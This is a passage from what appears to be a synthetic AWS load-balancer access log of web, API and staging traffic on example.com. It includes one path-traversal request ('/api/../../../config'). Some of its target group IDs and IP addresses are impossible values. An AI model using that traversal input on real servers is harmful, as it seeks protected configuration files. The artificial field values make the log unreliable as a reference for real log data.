"Root=1-6723de92-a6b5a385b945466f9b8712e8" "staging-alb.example.com" "-" 7 2024-11-01T02:46:26.625772Z "forward" "-" "-" "163.245.199.64:8080" "200" "-" "-" -https 2024-11-01T02:46:28.117434Z prod-web-alb 154.166.25.99:49572 10.0.70.218:443 0.024135 0.071068 0.059237 404 404 597 8394 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de94-e835009b67ed4533a89c1d4c" "prod-web-alb.example.com" "-" 1 2024-11-01T02:46:28.117434Z "forward" "-" "-" "10.0.70.218:443" "404" "-" "-" -https 2024-11-01T02:46:28.274086Z prod-api-alb 212.13.108.206:56411 10.0.148.21:443 0.039970 0.264871 0.099693 200 200 789 4131 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de94-eb81b5afbb3a47d28908e260" "prod-api-alb.example.com" "-" 10 2024-11-01T02:46:28.274086Z "forward" "-" "-" "10.0.148.21:443" "200" "-" "-" -https 2024-11-01T02:46:29.259985Z prod-api-alb 47.14.69.239:29651 10.0.160.60:443 0.023633 0.234987 0.030222 200 200 369 845 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de95-856515d3cc1d418b8a26c4b3" "prod-api-alb.example.com" "-" 7 2024-11-01T02:46:29.259985Z "forward" "-" "-" "10.0.160.60:443" "200" "-" "-" -https 2024-11-01T02:46:30.420342Z prod-web-alb 128.215.163.154:57106 10.0.91.81:443 0.026190 0.228379 0.097490 200 200 184 4780 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de96-a2f802320b9740c2b2d3c2d8" "prod-web-alb.example.com" "-" 7 2024-11-01T02:46:30.420342Z "forward" "-" "-" "10.0.91.81:443" "200" "-" "-" -https 2024-11-01T02:46:32.076644Z prod-api-alb 111.53.201.84:57769 10.0.67.241:443 0.047449 0.352858 0.025615 200 200 466 11789 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de98-114b4e28d6524a6c995d5cbc" "prod-api-alb.example.com" "-" 1 2024-11-01T02:46:32.076644Z "forward" "-" "-" "10.0.67.241:443" "200" "-" "-" -https 2024-11-01T02:46:33.113556Z prod-web-alb 44.224.124.47:26265 10.0.170.21:443 0.082448 0.447398 0.099045 301 301 470 4654 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de99-3060b5f7209246f2a240817a" "prod-web-alb.example.com" "-" 8 2024-11-01T02:46:33.113556Z "forward" "-" "-" "10.0.170.21:443" "301" "-" "-" -https 2024-11-01T02:46:34.920658Z prod-api-alb 144.104.180.125:19160 10.0.12.3:443 0.086812 0.054874 0.037119 200 200 51 10224 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de9a-bb669688774f46aabc1adab5" "prod-api-alb.example.com" "-" 1 2024-11-01T02:46:34.920658Z "forward" "-" "-" "10.0.12.3:443" "200" "-" "-" -https 2024-11-01T02:46:35.078196Z prod-web-alb 218.53.125.197:47202 10.0.85.231:443 0.094190 0.465677 0.057900 200 200 894 3039 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de9b-66acfc69c01e4c1397f54750" "prod-web-alb.example.com" "-" 8 2024-11-01T02:46:35.078196Z "forward" "-" "-" "10.0.85.231:443" "200" "-" "-" -https 2024-11-01T02:46:35.276888Z prod-api-alb 212.236.188.120:17314 10.0.172.51:443 0.026406 0.273676 0.096326 200 200 452 4218 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de9b-e4e9b88fc05b493ca2c2cb81" "prod-api-alb.example.com" "-" 10 2024-11-01T02:46:35.276888Z "forward" "-" "-" "10.0.172.51:443" "200" "-" "-" -https 2024-11-01T02:46:35.604843Z prod-web-alb 10.83.71.167:25060 10.0.192.198:443 0.076126 0.306523 0.010559 301 301 510 6230 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de9b-f3ac712634ca4d2a89cc33dd" "prod-web-alb.example.com" "-" 7 2024-11-01T02:46:35.604843Z "forward" "-" "-" "10.0.192.198:443" "301" "-" "-" -https 2024-11-01T02:46:36.089423Z prod-api-alb 56.225.220.171:37899 10.0.231.113:443 0.048413 0.255691 0.036369 200 200 573 7116 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de9c-34a22148f25942f5837909d1" "-" "-" 10 2024-11-01T02:46:36.089423Z "forward" "-" "-" "10.0.231.113:443" "200" "-" "-" -http 2024-11-01T02:46:37.347583Z staging-alb 41.1.7.253:19605 25.146.153.110:8080 0.140262 0.081079 0.117488 200 200 344 8259 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de9d-ebe45f8a2eca49d7861ecf27" "staging-alb.example.com" "-" 2 2024-11-01T02:46:37.347583Z "forward" "-" "-" "25.146.153.110:8080" "200" "-" "-" -https 2024-11-01T02:46:37.933782Z prod-web-alb 97.139.179.217:37466 10.0.227.76:443 0.095439 0.195075 0.009227 301 301 848 9456 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de9d-428a574b430b408c82f69f6b" "prod-web-alb.example.com" "-" 2 2024-11-01T02:46:37.933782Z "forward" "-" "-" "10.0.227.76:443" "301" "-" "-" -https 2024-11-01T02:46:39.511452Z prod-api-alb 251.190.246.221:23147 10.0.230.128:443 0.029254 0.054292 0.042524 200 200 808 7824 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de9f-b0cf3834c3d6437881684006" "prod-api-alb.example.com" "-" 10 2024-11-01T02:46:39.511452Z "forward" "-" "-" "10.0.230.128:443" "200" "-" "-" -https 2024-11-01T02:46:41.312742Z prod-web-alb 248.94.28.206:17390 10.0.196.27:443 0.059665 0.319037 0.031701 200 200 715 5516 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dea1-20e94aedf867470c876884ca" "prod-web-alb.example.com" "-" 9 2024-11-01T02:46:41.312742Z "forward" "-" "-" "10.0.196.27:443" "200" "-" "-" -https 2024-11-01T02:46:42.425804Z staging-alb 174.6.120.219:26267 233.129.248.123:80 0.141893 0.722938 0.010879 200 200 697 8294 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dea2-a0646b852cb644338f0d1b1f" "staging-alb.example.com" "-" 2 2024-11-01T02:46:42.425804Z "forward" "-" "-" "233.129.248.123:80" "200" "-" "-" -https 2024-11-01T02:46:44.360141Z staging-alb 49.31.230.122:60022 113.70.13.98:8080 0.128247 0.670844 0.085057 301 301 774 9522 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dea4-fde0e952dd67476ca5263265" "staging-alb.example.com" "-" 10 2024-11-01T02:46:44.360141Z "forward" "-" "-" "113.70.13.98:8080" "301" "-" "-" -http 2024-11-01T02:46:44.502824Z staging-alb 15.238.130.1:43069 5.125.116.212:8080 0.140777 0.086782 0.108874 200 200 853 5259 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dea4-47be4ee3feeb400a8d11c959" "staging-alb.example.com" "-" 8 2024-11-01T02:46:44.502824Z "forward" "-" "-" "5.125.116.212:8080" "200" "-" "-" -https 2024-11-01T02:46:46.464806Z staging-alb 199.124.104.179:35022 251.185.153.40:443 0.083846 0.662471 0.068252 200 200 110 5435 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dea6-21fb4f49097943bbac790e78" "staging-alb.example.com" "-" 9 2024-11-01T02:46:46.464806Z "forward" "-" "-" "251.185.153.40:443" "200" "-" "-" -https 2024-11-01T02:46:46.806072Z prod-api-alb 226.1.98.219:39321 10.0.48.183:443 0.072856 0.043974 0.045622 301 301 277 863 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dea6-b7f30ecdd96d4b00bf6cdd0a" "prod-api-alb.example.com" "-" 9 2024-11-01T02:46:46.806072Z "forward" "-" "-" "10.0.48.183:443" "301" "-" "-" -https 2024-11-01T02:46:47.815510Z prod-web-alb 220.158.41.199:46381 10.0.80.241:443 0.060137 0.269476 0.016648 301 301 158 11118 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dea7-cc9a1ac69f2c41e9a82c3501" "prod-web-alb.example.com" "-" 4 2024-11-01T02:46:47.815510Z "forward" "-" "-" "10.0.80.241:443" "301" "-" "-" -https 2024-11-01T02:46:49.273959Z prod-api-alb 45.155.205.171:15616 10.0.93.60:443 0.086690 0.392432 0.049289 404 404 325 11568 "GET /api/../../../config HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dea9-22327b5b6a9642b1915d456a" "-" "-" 7 2024-11-01T02:46:49.273959Z "forward" "-" "-" "10.0.93.60:443" "404" "-" "-" -https 2024-11-01T02:46:50.089092Z prod-api-alb 211.66.195.239:22621 10.0.201.13:443 0.078383 0.162242 0.012070 302 302 947 3847 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723deaa-809d73807e52423a841ff4c3" "prod-api-alb.example.com" "-" 4 2024-11-01T02:46:50.089092Z "forward" "-" "-" "10.0.201.13:443" "302" "-" "-" -https 2024-11-01T02:46:50.285418Z prod-api-alb 68.209.193.225:48388 10.0.80.221:443 0.056636 0.422078 0.048310 200 200 722 14415 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723deaa-dc032193dd414b989260e27f" "prod-api-alb.example.com" "-" 10 2024-11-01T02:46:50.285418Z "forward" "-" "-" "10.0.80.221:443" "200" "-" "-" -https 2024-11-01T02:46:50.446325Z prod-api-alb 200.230.56.60:12200 10.0.244.91:443 0.063105 0.264575 0.097219 200 200 650 8304 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723deaa-317086890bc143dc9f657537" "prod-api-alb.example.com" "-" 2 2024-11-01T02:46:50.446325Z "forward" "-" "-" "10.0.244.91:443" "200" "-" "-" -https 2024-11-01T02:46:51.966863Z prod-web-alb 213.209.63.38:60590 10.0.47.65:443 0.086524 0.189457 0.002250 200 200 576 10539 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723deab-4b04a0035c5045818e45f574" "prod-web-alb.example.com" "-" 10 2024-11-01T02:46:51.966863Z "forward" "-" "-" "10.0.47.65:443" "200" "-" "-" -http 2024-11-01T02:46:53.701928Z staging-alb 240.110.81.101:17521 51.56.143.124:8080 0.026526 0.729092 0.083655 200 200 146 12342 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dead-9c3a1021bb9a4d739dc7c8c7" "staging-alb.example.com" "-" 10 2024-11-01T02:46:53.701928Z "forward" "-" "-" "51.56.143.124:8080" "200" "-" "-" -https 2024-11-01T02:46:54.175281Z prod-api-alb 80.250.217.222:12457 10.0.115.192:443 0.033774 0.389882 0.089512 200 200 535 8840 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723deae-db543c1b9bfa4ba2b2a3f3bd" "prod-api-alb.example.com" "-" 7 2024-11-01T02:46:54.175281Z "forward" "-" "-" "10.0.115.192:443" "200" "-" "-" -https 2024-11-01T02:46:54.883111Z prod-web-alb 52.82.16.76:31341 10.0.123.12:443 0.087867 0.452896 0.043720 200 200 726 8419 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723deae-914f4ddb886f411caa8800a9" "prod-web-alb.example.com" "-" 1 2024-11-01T02:46:54.883111Z "forward" "-" "-" "10.0.123.12:443" "200" "-" "-" -https 2024-11-01T02:46:56.608894Z staging-alb 227.136.206.98:48928 155.105.201.55:443 0.135297 0.729958 0.103622 301 301 382 3259 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723deb0-ab34fb4a684945ac95827222" "staging-alb.example.com" "-" 6 2024-11-01T02:46:56.608894Z "forward" "-" "-" "155.105.201.55:443" "301" "-" "-" -https 2024-11-01T02:46:58.485511Z prod-web-alb 31.236.190.140:46592 10.0.134.103:443 0.022724 0.169950 0.082344 200 200 856 6080 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723deb2-2695aaa271684070aae1f579" "prod-web-alb.example.com" "-" 5 2024-11-01T02:46:58.485511Z "forward" "-" "-" "10.0.134.103:443" "200" "-" "-" -https 2024-11-01T02:46:58.658518Z prod-web-alb 122.111.16.163:36890 10.0.56.150:443 0.075925 0.305564 0.007426 200 200 772 2417 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723deb2-f5820389bf7b4323952b617d" "prod-web-alb.example.com" "-" 7 2024-11-01T02:46:58.658518Z "forward" "-" "-" "10.0.56.150:443" "200" "-" "-" -https 2024-11-01T02:47:00.261036Z prod-web-alb 12.66.48.10:56701 10.0.152.248:443 0.094668 0.321614 0.052750 200 200 810 1408 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723deb4-2bea1af75b114836b6299611" "prod-web-alb.example.com" "-" 3 2024-11-01T02:47:00.261036Z "forward" "-" "-" "10.0.152.248:443" "200" "-" "-" -https 2024-11-01T02:47:02.020842Z prod-web-alb 119.6.51.121:52674 10.0.185.90:443 0.022539 0.223045 0.056879 404 404 416 2142 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723deb6-194f4e256518460eabd388cf" "prod-web-alb.example.com" "-" 8 2024-11-01T02:47:02.020842Z "forward" "-" "-" "10.0.185.90:443" "404" "-" "-" -https 2024-11-01T02:47:03.936966Z prod-api-alb 75.229.49.227:51512 10.0.179.53:443 0.086031 0.200477 0.013384 200 200 112 7560 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723deb7-343e908f72ad4bf4aa4c8c34" "prod-api-alb.example.com" "-" 3 2024-11-01T02:47:03.936966Z "forward" "-" "-" "10.0.179.53:443" "200" "-" "-" -https 2024-11-01T02:47:04.974322Z prod-web-alb 16.36.170.156:12789 10.0.230.72:443 0.042549 0.332097 0.027391 301 301 848 7433 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723deb8-b3926e69c5224b75a98d7f8f" "prod-web-alb.example.com" "-" 4 2024-11-01T02:47:04.974322Z "forward" "-" "-" "10.0.230.72:443" "301" "-" "-" -https 2024-11-01T02:47:06.551022Z prod-api-alb 239.75.8.221:17552 10.0.87.252:443 0.086556 0.452834 0.036366 200 200 863 6397 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723deba-8ec3e453e52a48ec9a541c9d" "prod-api-alb.example.com" "-" 1 2024-11-01T02:47:06.551022Z "forward" "-" "-" "10.0.87.252:443" "200" "-" "-" -https 2024-11-01T02:47:07.911349Z staging-alb 39.125.87.151:12891 229.181.93.168:80 0.086406 0.339132 0.012479 200 200 190 3715 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723debb-f569d1cba39244c5876b4489" "staging-alb.example.com" "-" 3 2024-11-01T02:47:07.911349Z "forward" "-" "-" "229.181.93.168:80" "200" "-" "-" -https 2024-11-01T02:47:08.501991Z prod-web-alb 159.128.140.248:27439 10.0.167.243:443 0.055692 0.071406 0.099726 200 200 432 2035 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723debc-ff44fa37edad44948983bb42" "prod-web-alb.example.com" "-" 4 2024-11-01T02:47:08.501991Z "forward" "-" "-" "10.0.167.243:443" "200" "-" "-" -https 2024-11-01T02:47:09.125963Z prod-web-alb 56.186.4.158:44411 10.0.131.56:443 0.097418 0.336398 0.089706 301 301 393 7033 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723debd-093afa60a50c4e44bdf586c7" "prod-web-alb.example.com" "-" 5 2024-11-01T02:47:09.125963Z "forward" "-" "-" "10.0.131.56:443" "301" "-" "-" -https 2024-11-01T02:47:09.265383Z prod-api-alb 226.194.165.88:20544 10.0.104.70:443 0.086740 0.160851 0.042190 302 302 134 246 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723debd-107492160bf54805900355f8" "prod-api-alb.example.com" "-" 4 2024-11-01T02:47:09.265383Z "forward" "-" "-" "10.0.104.70:443" "302" "-" "-" -https 2024-11-01T02:47:09.402952Z prod-web-alb 99.2.181.222:20697 10.0.42.101:443 0.067531 0.169390 0.035078 200 200 225 14955 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723debd-eb5690c0a16c4bb89101927c" "prod-web-alb.example.com" "-" 6 2024-11-01T02:47:09.402952Z "forward" "-" "-" "10.0.42.101:443" "200" "-" "-" -https 2024-11-01T02:47:10.537143Z prod-web-alb 246.32.90.53:13168 10.0.82.91:443 0.076678 0.209593 0.091828 404 404 692 2024 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723debe-6a345c2d92764bdab5e61867" "prod-web-alb.example.com" "-" 7 2024-11-01T02:47:10.537143Z "forward" "-" "-" "10.0.82.91:443" "404" "-" "-" -https 2024-11-01T02:47:11.373002Z prod-web-alb 191.47.99.193:29137 10.0.162.207:443 0.082023 0.493972 0.084363 200 200 223 2184 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723debf-7a127ff9e80843d5af03ec9f" "prod-web-alb.example.com" "-" 9 2024-11-01T02:47:11.373002Z "forward" "-" "-" "10.0.162.207:443" "200" "-" "-" -https 2024-11-01T02:47:13.366605Z prod-api-alb 60.62.141.217:54742 10.0.147.72:443 0.018609 0.039498 0.071980 302 302 507 12232 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dec1-8db20f4e3315446a89048213" "prod-api-alb.example.com" "-" 7 2024-11-01T02:47:13.366605Z "forward" "-" "-" "10.0.147.72:443" "302" "-" "-" -https 2024-11-01T02:47:13.841083Z prod-api-alb 128.78.97.47:21706 10.0.1.81:443 0.047262 0.349071 0.062538 404 404 530 6465 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dec1-7d7e339b189b456cb162da49" "prod-api-alb.example.com" "-" 2 2024-11-01T02:47:13.841083Z "forward" "-" "-" "10.0.1.81:443" "404" "-" "-" -https 2024-11-01T02:47:14.290164Z prod-api-alb 122.15.166.122:56211 10.0.165.128:443 0.062104 0.027026 0.025309 404 404 279 1660 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 